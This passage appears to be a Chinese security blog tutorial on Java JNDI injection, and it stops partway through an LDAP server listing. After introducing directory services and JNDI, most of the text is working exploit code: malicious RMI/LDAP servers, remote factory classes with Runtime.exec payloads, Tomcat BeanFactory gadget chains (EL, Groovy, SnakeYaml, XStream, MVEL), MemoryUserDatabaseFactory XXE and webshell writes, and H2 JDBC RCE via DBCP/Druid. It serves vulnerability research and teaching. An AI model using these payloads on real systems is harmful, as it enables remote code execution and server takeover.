Java JNDI 简介
目录服务
目录服务(Directory service)是一个储存、组织和提供信息访问服务的软件系统,在软件工程中,一个目录是指一组名字和值的映射。它允许根据一个给出的名字来查找对应的值,与词典相似,词典中每一个词也许会有多个词义,在一个目录中,一个名字也许会与多个不同的信息相关联。
目录服务在许多不同的场景中被广泛使用,例如:
-
用户身份认证和授权:目录服务常用于管理用户账户和权限信息。它可以存储用户的登录名、密码、角色和访问权限等信息,用于实现身份认证和授权机制。用户可以通过目录服务进行身份验证,以获得对受保护资源的访问权限。
-
网络资源管理:目录服务可以用于管理网络资源,例如服务器、打印机、存储设备等。它可以存储资源的配置信息、访问权限和状态信息,方便管理员进行资源的监控、配置和控制。
-
DNS(域名解析):DNS 是一种基于目录服务的系统,用于将域名解析为 IP 地址。它提供了全球分布式的域名解析服务,使得用户可以使用易记的域名来访问互联网上的各种资源。
目录服务的好处在于提供统一的服务接口,降低偶合度,提升整体灵活性与可扩展性。以用户身份认证和授权为例,想象一下,当存在多个应用系统时,用户信息可能分散在各个应用系统中,每个系统都维护着自己的用户数据库。这样就导致用户需要在每个系统中单独注册和登录,且用户信息在系统之间无法共享和同步,无疑增加了用户的负担,并且难以实现统一的身份验证和授权管理。引入目录服务之后,各个应用系统的用户数据库可以汇总到目录服务中,当用户登录时,通过目录服务去验证身份并授予相应的权限,不仅提升了用户体验,也减小了应用系统的负担。
JNDI 简介
JNDI(Java Naming and Directory Interface)是 Java 平台提供的一套用于访问和操作不同类型的命名和目录服务的 API,这套 API 提供了统一的方式来访问各种目录和命名服务。
JNDI 对不同的目录服务进行了封装,因此用户无需关心具体的目录服务实现。其设计结构如下图所示:
JNDI 支持的目录服务有:
- LDAP:可以连接到 LDAP 服务器,进行查询、添加、修改和删除等操作。
- DNS:可以查询和解析域名信息,如获取域名的 IP 地址等。
- NIS(Network Information Service):NIS 是一种用于集中管理网络中用户、主机和其他资源的服务,JNDI 提供了对 NIS 的访问和操作的支持。
- RMI:JNDI 还可以用于访问和管理远程对象。
- COBRA(Common Object Request Broker Architecture):CORBA 和 RMI 都是分布式对象通信和远程调用的技术。可以看作是同一类技术的不同实现。它们都提供了一种机制来支持分布式对象之间的通信和远程调用,但在实现细节、协议和标准化方面有所不同。
下面是一个使用简单的示例:
public class Client {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:8080");
try {
DirContext ctx = new InitialDirContext(env);
DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
Attributes res = lookCtx.getAttributes("");
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
- InitialDirContext 用于设定访问 LDAP 服务的环境参数。
- Context.INITIAL_CONTEXT_FACTORY 指定了使用 LDAP 上下文工厂 com.sun.jndi.ldap.LdapCtxFactory
- Context.PROVIDER_URL 指定了 LDAP 服务器的地址为 ldap://localhost:8080
- lookup 方法用于在目录服务中查找符合要求的条目。
JNDI 注入原理
假如 lookup 参数可控,则可以通过指定的 ip 地址向恶意服务器发起连接。漏洞场景如下所示:
public class JNDIDynamic {
public static void main(String[] args) {
if (args.length != 1) {
System.out.println("Usage: lookup <domain>");
return;
}
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
try {
DirContext ctx = new InitialDirContext(env);
DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
Attributes res = lookCtx.getAttributes("", new String[]{"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
上面的代码会根据用户的输入发起 JNDI 查询,攻击者可以利用 JNDI 支持的各种协议加以利用。
JNDI RMI 利用
RMI 反序列化
JNDI 在使用 RMI 作为 SPI 时,同样会受到 RMI 安全问题的影响。在测试代码中加入 CC 依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
注入 lookup 函数时,目标作为客户端向恶意注册中心发起连接,我们可以使用 ysomap 中的 JRMPListener 开启监听:
use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 12345
set args "mate-calc"
run
然后利用 JNDI 注入向 JRMPListener 发起连接:
ctx.lookup("rmi://localhost:12345/Foo");
JRMPListener 攻击客户端不受 jdk 版本限制,但需要目标环境中存在可利用的反序列化链。
Reference 远程类加载(jdk < 8u121)
Reference 类是用于表示对象引用的特殊类型,可以用于在命名服务中存储和检索对象引用。
Reference 对象通常用于在 JNDI 上下文中绑定或检索可序列化的对象,包含了引用对象的类名、工厂类名以及其他可选的引用信息。
其主要属性如下:
class Name
:字符串,表示引用对象的类名。这个类必须实现javax.naming.Referenceable
接口。factory Class Name
:字符串,表示用于创建引用对象实例的工厂类名。这个工厂类必须实现javax.naming.spi.ObjectFactory
接口。Ref Addr
:一个RefAddr
对象的集合,表示引用对象的其他属性或地址信息。
通过将对象的引用信息封装到 Reference 对象中,可以将对象绑定到 JNDI 上下文中,并通过名称在不同的环境中进行查找和检索。当从 JNDI 上下文中检索 Reference 对象时,可以使用其工厂类名创建实际的对象实例。
下面是一个简单的示例, 示例在文章 JNDI 注入漏洞的前世今生 - evilpan 的基础上稍作修改,其主要步骤如下:
- 开启注册中心
- 服务端绑定一个 Reference 对象。
- 客户端发起查询。
首先开启注册中心:
package com.dr34d.registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 保持程序运行状态
while (true) {
Thread.sleep(1000);
}
}
}
在服务端创建一个 Reference 对象,引用对象的名称可以随便填写,工厂类名称为 EvilClass,RefAddr 指向本地 5000 端口
package com.dr34d;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
//这里的Reference ClassName并不一定要完全匹配
Reference reference = new Reference("xxx","EvilClass","http://localhost:5000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("Foo", wrapper);
}
}
EvilClass 是一个工厂类,实现了 ObjectFactory 类并重写了 getObjectInstance 方法。
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static void log(String key) {
try {
System.out.println("EvilClass: " + key);
} catch (Exception e) {
// do nothing
}
}
{
EvilClass.log("IIB block");
}
static {
EvilClass.log("static block");
}
public EvilClass() {
EvilClass.log("constructor");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
EvilClass.log("getObjectInstance");
return null;
}
}
将 EvilClass 编译之后的 .class 文件放置在 5000 端口 http 服务根目录下。 注意:如果上面绑定 Reference 对象时,工厂类带上了包名,例如 com.dr34d.EvilClass,则 EvilClass.class 文件应该放置在 /com/dr34d/EvilClass.class
此时客户端向注册中心发起查询:
package com.dr34d;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class Main {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext ctx = new InitialContext(env);
ctx.lookup("rmi://localhost:1099/Foo");
}
}
执行结果如下,客户端加载了远程的字节码并进行实例化:
EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance
但需要注意的地方有两点:
- 上面的客户端代码将
com.sun.jndi.rmi.object.trustURLCodebase
设定为 true,表示信任远程的 object factory。该限制在 jdk 8u121、7u131、6u141 版本时加入。 - com.sun.jndi.rmi.registry.ReferenceWrapper 在 jdk 8u181 后被移除,需要额外引入对应 jar 包。
实际利用时,也可以直接将 payload 写在静态代码块中,当远程的工厂类被实例化时,就会直接执行静态代码块中的 payload:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class TestEvilClass implements ObjectFactory {
{
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
Reference 远程类加载(高版本 jdk)
下面的 payload 都来自于文章 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖
jdk 8u121、7u131、6u141 后假如了对远程类加载的限制,主要代码逻辑在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 方法中:
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
如果引用不为空,ref.getFactoryClassLocation() 不为空,且 trustURLCodebase 为 false,则直接抛出 ConfigurationException 异常。
加载远程对象时,ref 不能为空,trustURLCodebase 无法远程更改,想要绕过这里的限制,就需要从 ref.getFactoryClassLocation()
下手。参考 JNDI 注入漏洞的前世今生 - evilpan 文章中的分析,要满足该函数返回 null,需要对应的工厂类为本地代码,即指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化对象。
可用的利用链主要围绕以下的几个工厂类完成:
- org.apache.naming.factory.BeanFactory 可达成 RCE
- org.apache.catalina.users.MemoryUserDatabaseFactory 可达成 XXE 或 RCE
- org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory 可达成 RCE
BeanFactory 利用链(tomcat < 8.5.79)
org.apache.naming.factory.BeanFactory 是 Apache Tomcat 中的一个 JNDI 对象工厂类,用于创建对象并将其绑定到 JNDI 环境中。这个类的 getObjectInstance 函数可以根据传入的参数,实例化任意类并调用其任意方法,部分代码如下所示。
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
...
Object bean = beanClass.getConstructor().newInstance();
...
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
....
参考 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 这篇文章的分析,getObjectInstance 方法会根据 forceString 的内容按照,
逗号分割成多个要执行的方法。再按=
分割成 param 和 propName,接着会根据 propName 作为方法名称去反射获取一个参数类型是 String 类型的方法,最后反射调用该方法,并传入param 对应的参数值。
所以,按照这个原理,寻找合适的利用类需要满足如下的几个条件:
- JDK或者常用库的类
- 有 public 修饰的无参构造方法
- public 修饰的只有一个 String.class 类型参数的方法,且该方法可以造成漏洞
按照这些条件,目前探索出来的利用链有如下的几种:
- javax.el.ELProcessor/groovy.lang.GroovyShell (RCE)
- javax.management.loading.MLet (RCE)
- groovy.lang.GroovyClassLoader (RCE)
- org.yaml.snakeyaml.Yaml (RCE)
- com.thoughtworks.xstream.XStream (RCE)
- org.mvel2.sh.ShellSession (RCE)
- com.sun.glass.utils.NativeLibLoader (RCE)
- org.h2.store.fs.FileUtils (目录创建)
下面是记录浅蓝师傅给出的利用链。
ELProcessor
利用如下的 payload,可以在 BeanFactory.getObjectInstance 函数中调用 javax.el.ELProcessor.eval 方法,通过 EL 表达式执行系统命令。
public static void AttackWithELProcessor() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['mate-calc']).start()\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
groovy.lang.GroovyShell#evaluate
方法类似。
MLet
如下的 payload 可以通过 URLClassloader 远程加载类, 但由于无法实例化对象,因此无法 RCE。
public static void AttackWithMLet() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:9999/"));
ref.add(new StringRefAddr("c", "Blue"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
GroovyClassLoader
GroovyClassLoader 也同样可以远程加载类
public static void AttackWithGroovyClassLoader() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:9999/"));
ref.add(new StringRefAddr("b", "blue"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
blue.groovy
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("mate-calc")})
class Person{}
SnakeYaml
org.yaml.snakeyaml.Yaml.load 函数也符合上面的要求,因此也可以利用 SnakeYaml 反序列化。
public static void AttackWithSnakeYaml() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "x=load"));
ref.add(new StringRefAddr("x", yaml));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
yaml-payload.jar 可以使用 artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads 来生成。
XStream
public static void AttackWithXStream() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>mate-calc</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
MVEL
MVEL(MVFLEX Expression Language)是一个开源的、基于 Java 的表达式语言库。其中 org.mvel2.sh.ShellSession 类的 exec 方法满足条件。
public static void AttackWithMVEL() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('mate-calc');"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
NativeLibLoader
com.sun.glass.utils.NativeLibLoader 为 jdk 内置类,其 loadLibrary 方法可以从本地加载链接库文件。需要配合文件上传或者文件写入漏洞。
public static void AttackWithNativeLibLoader() throws Exception {
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
System.err.println("Server ready");
}
注意:tomcat 较新版本(>=8.5.79,>=9.0.55)中已经禁用了 forceString 来增强安全性,具体可见: Apache Tomcat 8 (8.5.90) - Changelog
Tomcat 8.5.79 (schultz) Catalina Fix: 65736: Disable the forceString option for the JNDI BeanFactory and replace it with an automatic search for an alternative setter with the same name that accepts a String. This is a security hardening measure. (markt)
forceString 被禁用后会导致如下报错:
Jun 29, 2023 11:29:37 PM org.apache.naming.factory.BeanFactory getObjectInstance
WARNING: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:332)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.dr34d.Main.main(Main.java:16)
MemoryUserDatabaseFactory 利用链
org.apache.catalina.users.MemoryUserDatabaseFactory 也是 Tomcat 中的一个工厂类,其 getObjectInstance 代码如下:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
ra = ref.get("pathname");
if (ra != null) {
database.setPathname(ra.getContent().toString());
}
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}
database.open();
if (!database.getReadonly()) {
database.save();
}
return database;
}
} else {
return null;
}
}
使用 MemoryUserDatabaseFactory 工厂处理时,引用的类必须为 org.apache.catalina.UserDatabase。这个类在处理时会获取 pathname、readonly、watchSource 这三个属性,然后调用 open 方法,如果 readonly 为 false,则还会调用 save 方法。
XXE
open 方法中使用 Digester 库解析 XML 内容,访问 URL 来自于 pathName 参数,该参数在 getObjectInstance 函数中使用 pathname 进行赋值,因此 URL 可控。
public void open() throws Exception {
this.writeLock.lock();
try {
this.users.clear();
this.groups.clear();
this.roles.clear();
String pathName = this.getPathname();
URI uri = ConfigFileLoader.getURI(pathName);
URLConnection uConn = null;
try {
URL url = uri.toURL();
uConn = url.openConnection();
InputStream is = uConn.getInputStream();
this.lastModified = uConn.getLastModified();
Digester digester = new Digester();
try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var28) {
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
}
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
digester.parse(is); <-- *
利用 payload 如下:
public static void AttackWithXXE() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/eval.xml"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");
}
RCE
这一条利用链较为复杂,可以达成文件写入的效果,写入 webshell 或者修改 tomcat-user.xml 文件都可以达成 RCE 的效果,利用 payload 如下:
public static void AttackWithAddTomcatUser() throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo2", wrapper);
System.err.println("Server ready");
}
public static void AttackWithWriteWebShell() throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo3", wrapper);
System.err.println("Server ready");
}
在 windows 环境下上述的 payload 直接可用,但在 linux 环境下,需要提前创建 CATALINA.BASE/http:/127.0.0.1:9999
这个目录,具体原因可见浅蓝师傅的文章。创建目录使用到的是 H2 数据库中的 org.h2.store.fs.FileUtils.createDirectory 方法,但利用的还是 BeanFactory 这条利用链。因此还是会受到高版本 tomcat 的限制,寻找新的利用链创建目录可以绕过这个限制。
public static void CreateDirWithH2() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
ResourceRef ref1 = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:9999"));
ReferenceWrapper wrapper1 = new ReferenceWrapper(ref1);
registry.bind("Foo1", wrapper1);
System.err.println("Server ready");
}
BasicDataSourceFactory 利用链(通用)
BasicDataSourceFactory 工厂类可以发起 jdbc 连接,结合 jdbc 的利用方式可以完成 RCE。这里直接贴 exp 了。此前提到的 Tomcat 高本版对 BeanFactory 作了限制,但 jdbc 利用链并未受到影响。
dbcp
private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}
tomcat-jdbc
private static Reference tomcat_JDBC_RCE(){
return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}
druid
private static Reference druid(){
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}
JNDI LDAP 利用
在调用 JNDI LDAP 协议进行 lookup 查找远程对象时,最终会进入 com.sun.jndi.ldap.Obj.decodeObject 方法。
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} ...
}
上面的三个分支中:
- 如果查找 LDAP 服务得到的对象包含 javaSerializedData 属性(JAVA_ATTRIBUTES[1]),则会进入第一个分支会调用 deserializeObject 进行反序列化,因此会受到反序列化的影响。
- 第二个分支调用 decodeRmiObject。
- 如果查找 LDAP 服务得到的是一个 Reference 对象,则会进入第三个分支调用 decodeReference 方法。
Reference 远程类加载(jdk < 8u191)
JNDI LDAP SPI 同样受到 Reference 远程类加载的影响,利用代码与 RMI 远程类加载时使用的一致。
package com.dr34d;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class TestEvilClass implements ObjectFactory {
{
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
对其进行编译后得到 .class 文件,在根目录中开启 http 服务。例如这里的包名为 com.dr34d,那么我们需要在 com 的上层目录开启 http 服务。
python -m http.server 5000
开启一个恶意的 ldap 服务,恶意服务端可以在 marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java at master · mbechler/marshalsec · GitHub 的基础之上进行修改。
将恶意类绑定到 ldap 服务器中,注意在绑定时加入包名,例如:http://192.168.137.98:5000/#com.dr34d.TestEvilClass,前面是 http 服务的 URL,后面是恶意类的全限定名。
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/*
jdk < 11.0.1、8u191、7u201、6u211
*/
public class AttackWithRemoteFactory {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] argx ) {
int port = 1389;
String[] args = new String[]{"http://192.168.137.98:5000/#com.dr34d.TestEvilClass"};
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(AttackWithRemoteFactory.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
